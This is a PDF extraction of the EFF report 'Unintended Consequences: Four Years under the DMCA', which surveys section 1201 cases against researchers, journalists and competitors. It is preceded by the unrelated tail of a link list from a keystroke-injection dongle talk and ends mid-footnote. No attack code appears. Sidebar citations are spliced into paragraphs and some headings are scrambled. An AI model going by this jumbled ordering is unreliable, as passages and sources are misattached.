you may have to go into device manager to enable the device even after the policy is unset. http://Irongeek.com  PHUKD Project site http://www.irongeek.com/i.php?page=security/programmabl e-hid-usb-keystroke-dongle  Paul’s Teensyduino Docs http://www.pjrc.com/teensy/teensyduino.html  USBDeview http://www.nirsoft.net/utils/usb_devices_view.html  Reg From App http://www.nirsoft.net/utils/reg_file_from_application.html  HAK5’s Rubber Ducky Forum http://www.hak5.org/forums/index.php?showforum=56 http://Irongeek.com  Tenacity Solutions http://www.tenacitysolutions.net/  Kentuckiana ISSA http://www.issa-kentuckiana.org/  PJRC http://www.pjrc.com/ http://Irongeek.com  Louisville Infosec http://www.louisvilleinfosec.com/  DerbyCon 2011, Louisville Ky http://derbycon.com/  Phreaknic/Notacon/Outerz0ne http://phreaknic.info http://notacon.org/ http://www.outerz0ne.org/ http://Irongeek.com 42
pdf
Unintended Consequences: Four Years under the DMCA 1. Executive Summary Since they were enacted in 1998, the “anti- circumvention” provisions of the Digital Millennium Copyright Act (“DMCA”), codified in section 1201 of the Copyright Act, have not been used as Congress envisioned. Congress meant to stop copyright pirates from defeating anti-piracy protections added to copyrighted works, and to ban “black box” devices intended for that purpose.1 In practice, the anti-circumvention provisions have been used to stifle a wide array of legitimate activities, rather than to stop copyright piracy. As a result, the DMCA has developed into a serious threat to three important public policy priorities: Section 1201 Chills Free Expression and Scientific Research. Experience with section 1201 demonstrates that it is being used to stifle free speech and scientific research. The lawsuit against 2600 magazine, threats against Princeton Professor Edward Felten’s team of researchers, and prosecution of Russian programmer Dmitry Sklyarov have chilled the legitimate activities of journalists, publishers, scientists, students, programmers, and members of the public. Section 1201 Jeopardizes Fair Use. By banning all acts of circumvention, and all technologies and tools that can be used for circumvention, section 1201 grants to copyright owners the power to unilaterally eliminate the public’s fair use rights. Already, the music industry has begun deploying “copy-protected CDs” that promise to curtail consumers’ ability to make legitimate, personal copies of music they have purchased. Section 1201 Impedes Competition and Innovation. Rather than focusing on pirates, many copyright owners have chosen to use the DMCA to hinder their legitimate competitors. For example, Sony has invoked section 1201 to protect their monopoly on Playstation video game consoles, as well as their “regionalization” system limiting users in one country from playing games legitimately purchased in another. This document collects a number of reported cases where the anti-circumvention provisions of the DMCA have been invoked not against pirates, but against consumers, scientists, and legitimate competitors. It will be updated from time to time as additional cases come to light. The latest version can always be obtained at www.eff.org. 2. DMCA Legislative Background Congress enacted section 1201 in response to two pressures. First, Congress was responding to the perceived need to implement obligations imposed on the U.S. by the 1996 World Intellectual Property Or- ganization (WIPO) Copyright Treaty. Section 1201, however, went further than the WIPO treaty required.2 The details of section 1201, then, were a response not just to U.S. treaty obligations, but also to the concerns of copyright owners that their works would be widely pirated in the networked digital world.3 Section 1201 contains two distinct prohibitions: a ban on acts of circumvention, as well as a ban on the distribution of tools and technologies used for circumvention. The first prohibition, set out in section 1201(a)(1), prohibits the act of circumventing a technological measure used by copyright owners to control access to their works (“access controls”). So, for example, this provision makes it unlawful to defeat the encryption system used on DVD movies. This ban on acts of circumvention applies even where the purpose for decrypting the movie would otherwise be legitimate. As a result, when Disney’s Tarzan DVD prevents you from fast-forwarding through the commercials that preface the feature presentation, efforts to circumvent this restriction would be unlawful. Second, sections 1201(a)(2) and 1201(b) outlaw the manufacture, sale, distribution or trafficking of tools and technologies that make circumvention possible. These provisions ban not only technologies that defeat access controls, but also technologies that defeat use restrictions imposed by copyright owners, such as copy Unintended Consequences: Four Years Under the DMCA 1 v.2.1 (January 9, 2003) for latest version, visit www.eff.org controls. These provisions prevent technology vendors from taking steps to defeat the “copy-protection” now appearing on many music CDs, for example. Hiawatha Bray, “Cyber Chief Speaks on Data Network Security,” The Boston Globe, October 17, 2002. http://www.boston.com/globe/search/ Section 1201 also includes a number of exceptions for certain limited classes of activities, including security testing, reverse engineering of software, encryption research, and law enforcement. These exceptions have been extensively criticized as being too narrow to be of real use to the constituencies who they were intended to assist.4 Professor Felten’s Research Team Threatened In September 2000, a multi-industry group known as the Secure Digital Music Initiative (SDMI) issued a public challenge encouraging skilled technologists to try to defeat certain watermarking technologies intended to protect digital music. Princeton Professor Edward Felten and a team of researchers at Princeton, Rice, and Xerox took up the challenge and succeeded in removing the watermarks. A violation of any of the “act” or “tools” prohibitions is subject to significant civil and, in some circumstances, criminal penalties. When the team tried to present their results at an academic conference, however, SDMI representatives threatened the researchers with liability under the DMCA. The threat letter was also delivered to the researchers’ employers, as well as the conference organizers. After extensive discussions with counsel, the researchers grudgingly withdrew their paper from the conference. The threat was ultimately withdrawn and a portion of the research published at a subsequent conference, but only after the researchers filed a lawsuit in federal court. 3. Free Expression and Scientific Research Section 1201 is being used by a number of copyright owners to stifle free speech and legitimate scientific research. The lawsuit against 2600 magazine, threats against Princeton Professor Edward Felten’s team of researchers, and prosecution of the Russian programmer Dmitry Sklyarov have imposed a chill on a variety of legitimate activities. For example, online service providers and bulletin board operators have begun to censor discussions of copy-protection systems, programmers have removed computer security programs from their websites, and students, scientists and security experts have stopped publishing details of their research on existing security protocols. Foreign scientists are also increasingly uneasy about traveling to the United States out of fear of possible DMCA liability, and certain technical conferences have begun to relocate overseas. After enduring this experience, at least one of the researchers involved has decided to forgo further research efforts in this field. Pamela Samuelson, “Anticircumvention Rules: Threat to Science,” 293 SCIENCE 2028, Sept. 14, 2001. http://www.sciencemag.org/cgi/reprint/293 /5537/2028 These developments will ultimately result in weakened security for all computer users (including, ironically, for copyright owners counting on technical measures to protect their works), as security researchers shy away from research that might run afoul of section 1201.5 Letter from Matthew Oppenheim, SDMI General Counsel, to Prof. Edward Felten, April 9, 2001. http://cryptome.org/sdmi-attack.htm Hewlett Packard Threatens SNOsoft Cyber-Security Czar Notes Chill on Research Hewlett-Packard resorted to Section 1201 threats when researchers published their discovery of a security flaw in HP’s Tru64 UNIX operating system. The researchers, a loosely-organized collective known as Secure Network Operations (“SNOsoft”), received the DMCA threat after releasing software in July 2002 that demonstrated vulnerabilities that HP had been aware of for some time, but had not bothered to fix. Speaking at MIT in October 2002, White House Cyber Security Chief Richard Clarke called for DMCA reform, noting his concern that the DMCA had been used to chill legitimate computer security research. The Boston Globe quoted Clarke as saying, “I think a lot of people didn't realize that it would have this potential chilling effect on vulnerability research.” After the DMCA threat received widespread press attention, HP ultimately withdrew the threat. Security researchers received the message, however—publish vulnerability research at your own risk. Jonathan Band, “Congress Unknowingly Undermines Cyber-Security,” S.J. MERCURY NEWS, Dec. 16, 2002. http://www.siliconvalley.com/mld/siliconvall ey/4750224.htm Declan McCullagh, “Security Warning Draws DMCA Threat,” CNET News, July 30, 2002. Unintended Consequences: Four Years Under the DMCA 2 http://news.com.com/2100-1023- 947325.html Censorware Research Obstructed Benjamin Edelman conducts research on “censorware” software (i.e., programs that block websites that contain objectionable material), working to document flaws in such software, including in the products of N2H2, a leading censorware company. Edelman’s research led to his providing expert testimony for the ACLU in a recent federal court case challenging the constitutionality of the Children's Internet Protection Act (CIPA), which mandates that public libraries use censorware products like those sold by N2H2. In the course of his work for the ACLU, Edelman discovered that the DMCA might interfere with his efforts to learn what websites are actually blocked by NH2H products. N2H2 claims that its encrypted list of blocked websites is legally protected by the DMCA against attempts to read and analyze it. Because he is not willing to risk civil and criminal penalties under Section 1201, Edelman has been forced to go to federal court to clarify his legal rights before he can undertake his legitimate research. ACLU, “In Legal First, ACLU Sues Over New Copyright Law” (case archive). http://archive.aclu.org/issues/cyber/Edelma n_N2H2_feature.html Dmitry Sklyarov Arres ed t In July 2001, Russian programmer Dmitry Sklyarov was jailed for several weeks and detained for five months in the United States after speaking at the DEFCON conference in Las Vegas. Prosecutors, prompted by software goliath Adobe Systems Inc., alleged that Sklyarov had worked on a software program known as the Advanced e-Book Processor, which was distributed over the Internet by his Russian employer, ElcomSoft Co. Ltd. The software allowed owners of Adobe electronic books (“e-books”) to convert them from Adobe’s e-Book format into Adobe Portable Document Format (“pdf”) files, thereby removing restrictions embedded into the files by e-Book publishers. Sklyarov was never accused of infringing any copyrighted e-Book, nor of assisting anyone else to infringe copyrights. His alleged crime was working on a software tool with many legitimate uses, simply because third parties he has never met might use the tool to copy an e-Book without the publisher’s permission. The Department of Justice ultimately permitted Sklyarov to return home, but elected to proceed against his employer, ElcomSoft, under the criminal provisions of the DMCA. In December 2002, a jury acquitted Elcomsoft of all charges, completing an 18-month ordeal for the wrongly-accused Russian software company. Lawrence Lessig, “Jail Time in the Digital Age,” N.Y. TIMES at A7, July 30, 2001. http://www.nytimes.com/2001/07/30/opini on/30LESS.html Lisa Bowman, “Elcomsoft Verdict: Not Guilty,” CNET News, Dec. 17, 2002. http://news.com.com/2100-1023- 978176.html Scientists and Programmers Withhold Research Following the legal threat against Professor Felten’s research team and the arrest of Dmitry Sklyarov, a number of prominent computer security experts have curtailed their legitimate research activities out of fear of potential DMCA liability. For example, prominent Dutch cryptographer and security systems analyst Niels Ferguson discovered a major security flaw in an Intel video encryption system known as High Bandwidth Digital Content Protection (HDCP). He declined to publish his results on his website relating to flaws in HDCP, on the grounds that he travels frequently to the U.S. and is fearful of “prosecution and/or liability under the U.S. DMCA law.” Niels Ferguson, “Censorship in Action: Why I Don’t Publish My HDCP Results,” Aug. 15, 2001. http://www.macfergus.com/niels/dmca/cia. html Niels Ferguson, Declaration in Felten & Ors v R.I.A.A. case, Aug. 13, 2001. http://www.eff.org/IP/DMCA/Felten_v_RI AA/20010813_ferguson_decl.html Lisa M. Bowman, “Researchers Weigh Publication, Prosecution,” CNET NEWS, Aug. 15, 2001. http://news.cnet.com/news/0-1005-200- 6886574.html Following the arrest of Dmitry Sklyarov, Fred Cohen, a professor of digital forensics and respected security consultant, removed his “Forensix” evidence- gathering software from his website, citing fear of potential DMCA liability. Another respected network security protection expert, Dug Song, also removed content from his website for the same reason. Mr. Song is the author of Unintended Consequences: Four Years Under the DMCA 3 several security papers, including a paper describing a common vulnerability in many firewalls. IEEE Wrestles with DMCA The Institute of Electrical and Electronics Engineers (IEEE), which publishes 30 per cent of all computer science journals worldwide, recently was drawn into the controversy surrounding science and the DMCA. Apparently concerned about possible liability under Section 1201, the IEEE in November 2001 instituted a policy requiring all authors to indemnify IEEE for any liabilities incurred should a submission result in legal action under the DCMA. Robert Lemos, “Security Workers: Copyright Law Stifles,” CNET NEWS, Sept. 6, 2001. http://news.com.com/2100-1001- 272716.html In mid-2001 an anonymous programmer discovered a vulnerability in Microsoft’s proprietary e-Book digital rights management code, but refused to publish the results, citing DMCA liability concerns. After an outcry from IEEE members, the organization ultimately revised its submission policies, removing mention of the DMCA. According to Bill Hagen, manager of IEEE Intellectual Property Rights, “The Digital Millennium Copyright Act has become a very sensitive subject among our authors. It’s intended to protect digital content, but its application in some specific cases appears to have alienated large segments of the research community.” Wade Roush, “Breaking Microsoft's e-Book Code,” TECHNOLOGY REVIEW at 24, November 2001. http://www.technologyreview.com/articles/i nnovation11101.asp Foreign Scientists Avoid U.S. Foreign scientists have expressed concerns about traveling to the U.S. following the arrest of Russian programmer Dmitry Sklyarov. Some foreign scientists have advocated boycotting conferences held in the U.S. and a number of conference bodies have decided to move their conferences to non-U.S. locations. Russia has issued a travel warning to Russian programmers traveling to the U.S. IEEE press release, “IEEE to Revise New Copyright Form to Address Author Concerns,” April 22, 2002. http://www.ieee.org/newsinfo/dmca.html Will Knight, “Controversial Copyright Clause Abandoned,” NEW SCIENTIST, April 15, 2002. http://www.newscientist.com/news/news.jsp ?id=ns99992169 Highly respected British Linux programmer Alan Cox resigned from the USENIX committee of the Advanced Computing Systems Association, the committee that organizes many of the U.S. computing conferences, because of his concerns about traveling to the U.S. Cox has urged USENIX to hold its annual conference offshore. The International Information Hiding Workshop Conference, the conference at which Professor Felten’s team intended to present its original paper, has chosen to hold all of its future conferences outside of the U.S. following the SDMI threat to Professor Felten and his team. 2600 Magazine Censored The Universal City Studios v. Reimerdes case6 illustrates the chilling effect that section 1201 has had on the freedom of the press. In that case, eight major motion picture companies brought a DMCA suit against 2600 magazine seeking to block it from publishing the DeCSS software program, which defeats the encryption used on DVD movies. 2600 had made the program available on its web site in the course of ongoing coverage of the controversy surrounding the DMCA. The magazine was not involved in the development of software, nor was it accused of having used the software for any copyright infringement. Will Knight, “Computer Scientists boycott US over digital copyright law,” NEW SCIENTIST, July 23, 2001. http://www.newscientist.com/news/news.jsp ?id=ns00001063 Alan Cox of Red Hat UK Ltd, declaration in Felten v. RIAA, Aug. 13, 2001. http://www.eff.org/IP/DMCA/Felten_v_RI AA/20010813_cox_decl.html Notwithstanding the First Amendment’s guarantee of a free press, the district court permanently barred 2600 from publishing, or even linking to, the DeCSS software code. In November 2001, the Second Circuit Court of Appeals upheld the lower court decision. Jennifer 8 Lee, “Travel Advisory for Russian Programmers,” N.Y. TIMES at C4, Sept.10, 2001. http://www.nytimes.com/2001/09/10/techn ology/10WARN.html?searchpv=past7days In essence, the movie studios effectively obtained a “stop the presses” order banning the publication of truthful information by a news publication concerning a matter of public concern—an unprecedented curtailment of well-established First Amendment prin- ciples. Unintended Consequences: Four Years Under the DMCA 4 Carl S. Kaplan, “Questioning Continues in Copyright Suit,” N.Y. TIMES, May 4, 2001. http://www.nytimes.com/2001/05/04/techn ology/04CYBERLAW.html Simson Garfinkel, “The Net Effect: The DVD Rebellion,” TECHNOLOGY REVIEW at 25, July/Aug. 2001. http://www.technologyreview.com/articles/g arfinkel0701.asp Xenia P. Kobylarz, “DVD Case Clash—Free Speech Advocates Say Copyright Owners Want to Lock Up Ideas; Encryption Code is Key,” S.F. DAILY JOURNAL, May 1, 2001. CNET Reporter Feels Chill Prominent CNET News reporter Declan McCullagh recently found four publicly-available documents on the Transportation Security Administration (TSA) website. The website announced that the documents contained information about airport security procedures, the relationship between federal and local police, and a “liability information sheet.” A note on the site stated that this “information is restricted to airport management and local law enforcement.” No password was necessary to download the documents, but they were distributed in encrypted form and a password was required to open and read them. McCullagh obtained the passwords from an anonymous source, but fear of DMCA liability stopped him from reading the documents—using a password without authorization could violate Section 1201. This is particularly ironic, as any foreign journalist beyond the reach of the DMCA would be free to use the password. “Journalists traditionally haven't worried about copyright law all that much,” said McCullagh, “But nowadays intellectual property rights have gone too far, and arguably interfere with the newsgathering process.” Declan McCullagh, “Will This Land Me in Jail?”, CNET NEWS, Dec. 23, 2002. http://news.com.com/2010-1028- 978636.html Microsoft Threatens Slashdot In spring 2000, Microsoft invoked the DMCA against the Internet publication forum Slashdot, demanding that forum moderators delete materials relating to Microsoft’s proprietary implementation of an open security standard known as Kerberos. In the Slashdot forum, several individuals alleged that Microsoft had changed the open, non-proprietary Kerberos specification in order to prevent non- Microsoft servers from interacting with Windows 2000. Many speculated that this move was intended to force users to purchase Microsoft server software. Although Microsoft responded to this criticism by publishing its Kerberos specification, it conditioned access to the specification on agreement to a “click-wrap” license agreement that expressly forbade disclosure of the specification without Microsoft’s prior consent. Slashdot posters responded by republishing the Microsoft specification. Microsoft then invoked the DMCA, demanding that Slashdot remove the republished specifications. In the words of Georgetown law professor Julie Cohen, “If Microsoft's interpretation of the DMCA's ban on circumvention technologies is right, then it doesn't seem to matter much whether posting unauthorized copies of the Microsoft Kerberos specification would be a fair use. A publisher can prohibit fair-use commentary simply by implementing access and disclosure restrictions that bind the entire public. Anyone who discloses the information, or even tells others how to get it, is a felon.” Julie Cohen, “Call it the Digital Millennium Censorship Act – Unfair Use,” THE NEW REPUBLIC, May 23, 2000. http://www.thenewrepublic.com/cyberspace /cohen052300.html AVSforum.com Censors TiVo Discussion The specter of DMCA litigation has chilled speech on smaller web bulletin boards, as well. In June 2001, for example, the administrator of AVSforum.com, a popular forum where TiVo digital video recorder owners discuss TiVo features, censored all discussion about a software program that allegedly permitted TiVo users to move video from their TiVos to their personal computers. In the words of the forum administrator, “My fear with this is more or less I have no clue what is a protected system on the TiVo box under copyright (or what-have-you) and what is not. Thus my fear for the site.” Lisa M. Bowman, “TiVo Forum Hushes Hacking Discussion,” CNET NEWS, June 11, 2001. http://news.cnet.com/news/0-1005-200- 6249739.html 4. Fair Use Under Siege “Fair use” is a crucial element in American copyright law—the principle that the public is entitled, without having to ask permission, to use copyrighted works so long as these uses do not unduly interfere with the copyright owner’s market for a work. Fair uses include personal, noncommercial uses, such as using a VCR to record a television program for later viewing. Fair use Unintended Consequences: Four Years Under the DMCA 5 also includes activities undertaken for purposes such as criticism, comment, news reporting, teaching, scholarship or research. Fair Use Tools Banned We are entering an era where books, music and movies will increasingly be “copy-protected” and otherwise restricted by technological means. Whether scholars, researchers, commentators and the public will continue to be able to make legitimate fair uses of these works will depend upon the availability of tools to bypass these digital locks. While stopping copyright infringement is an important policy objective, Section 1201 throws out the baby of fair use with the bathwater of digital piracy. By employing technical protection measures to control access to and use of copyrighted works, and using section 1201 litigation against anyone who tampers with those measures, copyright owners can unilaterally eliminate fair use, re-writing the copyright bargain developed by Congress and the courts over more than a century. The DMCA’s anti-circumvention provisions, how- ever, prohibit the creation or distribution of these tools, even if they are crucial to fair use. So, as copyright owners use technology to press into the 21st century, the public will see more and more fair uses whittled away by digital locks allegedly intended to “prevent piracy.” Perhaps more importantly, no future fair uses will be developed—after all, before the VCR, who could have imagined that fair use “time-shifting” of television would become common-place for the average consumer? Copy-protected CDs The introduction of “copy-protected” CDs into the marketplace illustrates the collision between fair use and the DMCA. Record labels are aggressively incorporating “copy-protection” on new music releases. Over 10 million copy-protected discs are already in circulation, according to Midbar Technology Ltd, one of the vendors of copy-protection technology. Sony claims that it has released over 11 million copy- protected discs worldwide. Copyright owners argue that these tools, in the hands of copyright infringers, can result in “Internet piracy.” But the traditional answer for piracy under copyright law has been to seek out and prosecute the infringers, not to ban the tools that enable fair use. After all, photocopiers, VCRs, and CD-R burners can also be misused, but no one would suggest that the public give them up simply because they might be used by others to break the law. Whatever the impact that these copy protection technologies may have on online infringement, they are certain to interfere with the fair use expectations of consumers. For example, copy-protected discs will disappoint the hundreds of thousands of consumers who have purchased MP3 players, despite the fact that making an MP3 copy of a CD for personal use is a fair use. Making “mix CDs” or copies of CDs for the office or car are other examples of fair uses that are potentially impaired by copy-protection technologies. DeCSS and DVD Copy Plus Fair use tools have already been yanked off the market. In the Universal v. Reimerdes case, discussed above, the court held that Section 1201 bans DeCSS software. This software decrypts DVD movies, making it possible to copy them to a PC. In another case, a company has filed a declaratory judgment action in San Francisco after being threatened with DMCA liability by the MPAA for distributing DVD Copy Plus, which enables DVD owners to make copies of DVD content. The major motion picture studios have since counter- sued, alleging that DVD copying tools violate the DMCA. Companies that distribute tools to “repair” these dysfunctional CDs, restoring to consumers their fair use privileges, run the risk of lawsuits under section 1201’s ban on circumvention tools and technologies. Rep. Rick Boucher, “Time to Rewrite the DMCA,” CNET NEWS, Jan. 29, 2002. http://news.com.com/2010-1078- 825335.html There are lots of legitimate reasons to copy DVDs. Once the video is on the PC, for example, lots of fair uses become possible—film scholars can digitally analyze the film, travelers can load the movie into their laptops, and parents can fast-forward through the “unskippable” commercials that preface certain films. Without the tools necessary to copy DVDs, however, these fair uses become impossible. Dan Gillmor, “Entertainment Industry's Copyright Fight Puts Consumers in Cross Hairs,” SAN JOSE MERCURY NEWS, Feb. 12, 2002. http://www.siliconvalley.com/mld/siliconvall ey/2658555.htm Gwendolyn Mariano, “Copy-Protected CDs Slide Into Stores,” CNET NEWS, Feb. 12, 2002. http://news.com.com/2100-1023- 835841.html Matthew Mirapaul, “They’ll Always Have Paris (and the Web),” N.Y. TIMES at E2, March 16, 2002. Unintended Consequences: Four Years Under the DMCA 6 Lisa Bowman, “Hollywood Targets DVD- Copying Upstart,” CNET News, Dec. 20, 2002. http://news.com.com/2100-1023- 978580.html Advanced e-Book Processor and e-Books The future of fair use for books was at issue in the criminal prosecution of Dmitry Sklyarov and ElcomSoft. As discussed above, ElcomSoft produced and distributed a tool called the Advanced e-Book Processor, which translates e-books from Adobe’s e-Book format to Adobe’s Portable Document Format (“PDF”). This translation process removes the various restrictions (against copying, printing, text-to-speech processing, etc.) that publishers can impose on e-Books. The program is designed to work only with e-Books that have been lawfully purchased from sales outlets. The Advanced e-Book Processor allowed those who have legitimately purchased e-Books to make fair uses of their e-Books, which would otherwise not be possible with the current Adobe e-Book format. For instance, the program allows people to engage in the following activities, all of which are fair uses: • read it on a laptop or computer other than the one on which the e-Book was first downloaded; • continue to access a work in the future, if the particular technological device for which the e-Book was purchased becomes obsolete; • print an e-Book on paper; • read an e-Book on an alternative operating system such as Linux (Adobe's format works only on Macs and Windows PCs); • have a computer read an e-Book out loud using text-to-speech software, which is particularly important for visually-impaired individuals. EFF, Frequently Asked Questions re U.S. v. Sklyarov. http://www.eff.org/IP/DMCA/US_v_Sklyar ov/us_v_sklyarov_faq.html Time-shifting and Streaming Media As more consumers receive audio and video content from “streaming” Internet media sources, they will demand tools to preserve their settled fair use expectations, including the ability to “time-shift” programming for later listening or viewing. As a result of the DMCA, however, the digital equivalents of VCRs and cassette decks for streaming media may never arrive. Start-up software company Streambox developed exactly such a product, known simply as the Streambox VCR, designed to time-shift streaming media. When competitor RealNetworks discovered that Streambox had developed a competing streaming media player, it invoked the DMCA and obtained an injunction against the Streambox VCR product. RealNetworks, Inc. v. Streambox, Inc., 2000 WL 127311 (W.D. Wash. Jan. 18, 2000). The DMCA has also been invoked to threaten the developer of an open source, noncommercial software application known as Streamripper that records MP3 audio streams for later listening. Cease and desist letter from Kenneth Plevan on behalf of Live365.com to John Clegg, developer of Streamripper, April 26, 2001. http://streamripper.sourceforge.net/dc.php embed and Fonts In January 2002, typeface vendor Agfa Monotype Corporation threatened a college student with DMCA liability for creating “embed,” a free, open source, noncommercial software program designed to manipulate TrueType fonts. According to the student: “I wrote embed in 1997, after discovering that all of my fonts disallowed embedding in documents. Since my fonts are free, this was silly—but I didn't want to take the time to… change the flag, and then reset all of the extended font properties with a separate program. What a bore! Instead, I wrote this program to convert all of my fonts at once. The program is very simple; it just requires setting a few bits to zero. Indeed, I noticed that other fonts that were licensed for unlimited distribution also disallowed embedding…. So, I put this program on the web in hopes that it would help other font developers as well.” Agfa Monotype nevertheless threatened the student author with DMCA liability for distributing the program. According to Agfa, the fact that embed can be used to allow distribution of protected fonts makes it contraband under Section 1201, notwithstanding the fact that the tool has many legitimate uses in the hands of hobbyist font developers. Tom Murphy, “embed: DMCA Threats.” http://www.andrew.cmu.edu/~twm/embed/ dmca.html Unintended Consequences: Four Years Under the DMCA 7 5. A threat to innovation and competition The DMCA is being used to hinder the efforts of legitimate competitors to create interoperable products. For example, Vivendi-Universal's Blizzard video game division invoked the DMCA in an effort to intimidate the developers of a software product derived from legitimate reverse engineering. Sony has used the DMCA to threaten hobbyists who created competing software for Sony’s Aibo robot dog, as well as to sue makers of software that permits the playing of Playstation games on PCs. In each of these cases, the DMCA was used to deter a marketplace competitor, rather than to battle piracy. Lexmark Sues Over Toner Cartridges Lexmark, the second-largest printer vendor in the U.S., has long tried to eliminate aftermarket laser printer toner vendors that offer consumers toner cartridges at prices below Lexmark’s. In December 2002, Lexmark invoked the DMCA in its effort to eliminate competition in this market, suing Static Control Components for “circumvention” of certain “authentication routines” between Lexmark toner cartridges and printers. Lexmark added these authentication routines explicitly to hinder aftermarket toner vendors. Static Control reverse-engineered these measures and now sells “Smartek” chips that enable aftermarket cartridges to work in Lexmark printers. Lexmark claims that these chips are “circumvention devices” banned by the DMCA. Whatever the merits of Lexmark’s position, it is fair to say that eliminating the laser printer toner aftermarket was not what Congress had in mind when enacting the DMCA. Declan McCullagh, “Lexmark Invokes DMCA in Toner Suit,” CNET NEWS, Jan. 8, 2003. http://news.com.com/2100-1023- 979791.html Sony Sues Connectix and B eem l Since the DMCA’s enactment in 1998, Sony has used DMCA litigation to pressure competitors who created software that would allow PC owners to play games intended for the Sony Playstation video game console. In 1999, Sony sued Connectix Corporation, the manufacturer of the Virtual Game Station, an emulator program which allowed Sony Playstation games to be played on Apple Macintosh computers. Sony also sued Bleem, the leading vendor of Playstation emulator software for Windows PCs. In both cases, the Sony competitors had created their products by engaging in legitimate reverse engineering, which has been recognized as noninfringing fair use in a series of Ninth Circuit cases. Connectix, in fact, ultimately won a Ninth Circuit ruling that its reverse engineering was indeed fair use.7 Both Connectix and Bleem, however, were unable to bear the high costs of litigation against Sony and ultimately were forced to pull their products off the market. Whatever the merits of Sony’s position may have been under copyright, trademark, patent, or other legal theories, the competitive efforts of Connectix and Bleem certainly were at a far remove from the “black box” piracy devices that Congress meant to target with section 1201. Pamela Samuelson, “Intellectual Property and the Digital Economy: Why the Anti- Circumvention Regulations Need to be Revised,” 14 BERKELEY TECHNOLOGY L.J. 519, 556 (1999) (discussing the Connectix case). http://www.sims.berkeley.edu/~pam/papers. html Testimony of Jonathan Hangartner on behalf of Bleem, Library of Congress, Hearing on DMCA, Stanford University, May 19, 2000, pp. 221-28. http://www.loc.gov/copyright/1201/hearing s/1201-519.pdf Sony Threatens Aibo Hobbyist Sony has also invoked the DMCA against a hobbyist who developed custom programs for Sony’s Aibo robotic “pet” dog. The hobbyist cracked the encryption surrounding the source code that manipulates the Aibo to reverse engineer programs that allow owners to customize voice recognition by their Aibos. The hobbyist revealed neither the decrypted source code nor the code he used to defeat the encryption, freely distributed his custom programs, and made no profit. Nevertheless, Sony claimed that the act of circum- venting the encryption surrounding the source code violated the DMCA and demanded that the hobbyist remove his programs from his website. Responding to public outcry, Sony ultimately permitted the hobbyist to repost some of his programs (on the understanding that Sony will have the rights of commercial development in the programs). The incident, however, illustrated Sony’s willingness to invoke the DMCA in situations with no relationship to “piracy.” David Labrador, "Teaching Robot Dogs New Tricks," SCIENTIFIC AMERICAN, Feb. 12, 2002. http://www.sciam.com/explorations/2002/0 12102aibo/ Unintended Consequences: Four Years Under the DMCA 8 Blizzard Sues bnetd.org Section 1201 has been invoked in a federal lawsuit by Vivendi-Universal's Blizzard Entertainment video game division against a group of volunteer game enthusiasts who used reverse engineering to create free and open source software to allow owners of Blizzard games to play the games over the Internet. The software, a server called "bnetd," provides an alternative to Blizzard's own Battle.net servers. Both Battle.net servers and bnedt servers are available for free and both allow owners of Blizzard games to play with each other across the Internet. The group of volunteers decided to create bnetd to overcome difficulties that they had experienced in attempting to use Battle.net. The bnetd software is freely distributed, open source, and non-commercial. Blizzard filed suit in St. Louis to bar distribution of bnetd, alleging that the software is a circumvention device that violates the DMCA. According to Blizzard, the bnetd software has been used by some to permit networked play of pirated Blizzard games. Whether or not that is true, the developers are not using the software for that purpose, nor was the software designed for that purpose. The software has numerous legitimate uses for owners of Blizzard games. Whatever else may be said about the bnetd software, it is plainly not a “black box” piracy device. (EFF is representing the bnetd developers.) Howard Wen, “Battle.net Goes To War,” SALON, April 18, 2002. http://archive.salon.com/tech/feature/2002/ 04/18/bnetd/ EFF case archive. http://www.eff.org/IP/Emulation/Blizzard_ v_bnetd/ Sony Attacks Playstation “Mod Chips” Apart from using the DMCA against vendors of personal computer emulators of Sony’s Playstation, Sony has sued a number of manufacturers of so-called “mod chips” for alleged circumvention under the DMCA. In doing so, Sony has been able to enforce a system of geographical regional restrictions that raises significant anticompetitive issues. So-called “mod chips” are after-market accessories that modify Playstation consoles to permit games legitimately purchased in one part of the world to be played on a games console from another geographical region. Sony has sued mod chip manufacturers in the U.S., the U.K., and Australia. In the U.S., Sony sued Gamemasters, Inc., distributor of the Game Enhancer peripheral device, which allowed U.S. Playstation users to play games purchased in Japan and other countries. Although there was no infringement of Sony’s copyright, the court granted an injunction under the DMCA’s anti-circumvention provisions, effectively banning the use of a technology that would permit users to use legitimately-purchased non-infringing games from other regions. Recognizing the anti-competitive potential of the region playback control system, an Australian court recently ruled against Sony in a case that was brought against an Australian mod chip manufacturer under the Australian equivalent of the DMCA’s anti- circumvention provisions. Sony has argued that mod chips can also be used to enable the use of unauthorized copies of Playstation games. But most Playstation mod chips are not “black box” devices suitable only for piracy. The potential illegitimate uses must be weighed against legitimate uses, such as defeating Sony’s region coding system to play games purchased in other countries. “Sony Playstation ruling sets far-reaching precedent,” NEW SCIENTIST, Feb. 22, 2002 http://www.newscientist.com/news/news.jsp ?id=ns99991933 Sony Computer Entertainment America Inc. v. Gamemasters, 87 F.Supp.2d 976 (N.D. Cal. 1999). David Becker, “Sony Loses Australian Copyright Case,” CNET News, July 26, 2002. http://news.com.com/2100-1040- 946640.html Apple Harasses Inventive Retailer When Other World Computing (OWC), a small retailer specializing in Apple Macintosh computers, developed a software patch that allowed all Mac owners to use Apple’s iDVD software, they thought they were doing Apple’s fans a favor. For their trouble, they got a DMCA threat from Apple. Apple’s iDVD authoring software was designed to work on newer Macs that shipped with internal DVD recorders manufactured by Apple. OWC discovered that a minor software modifiation would allow iDVD to work with external DVD recorders, giving owners of older Macs an upgrade path. Apple claimed that this constituted a violation of the DMCA and requested that OWC stop this practice immediately. OWC obliged. Rather than prevent copyright infringement, the DMCA empowered Apple to force consumers to buy new Mac computers instead of simply upgrading their older machines with an external DVD recorder. Unintended Consequences: Four Years Under the DMCA 9 Declan McCullagh “Apple: Burn DVDs—and We'll Burn You,” CNET News, Aug. 28, 2002. http://news.com.com/2100-1023- 955805.html 6. Conclusion Four years of experience with the “anti- circumvention” provisions of the DMCA demonstrate that the statute reaches too far, chilling a wide variety of legitimate activities in ways Congress did not intend. As an increasing number of copyright works are wrapped in technological protection measures, it is likely that the DMCA’s anti-circumvention provisions will be applied in further unforeseen contexts, hindering the legitimate activities of innovators, researchers, the press, and the public at large. EFF would like to thank the following individuals who have helped to create and update this publication: the Samuelson Law, Technology & Public Policy Clinic, Deirdre Mulligan, Nicky Ozer, and Nicolai Nielsen. 1 For examples of Congress’ stated purpose in enacting the DMCA’s anti-circumvention provisions, see 144 Cong. Rec. H7093, H7094-5 (Aug. 4, 1998); Senate Judiciary Comm., S. Rep. 105-190 (1998) at 29; Judiciary Comm., H. Rep. 105- 551 Pt 1 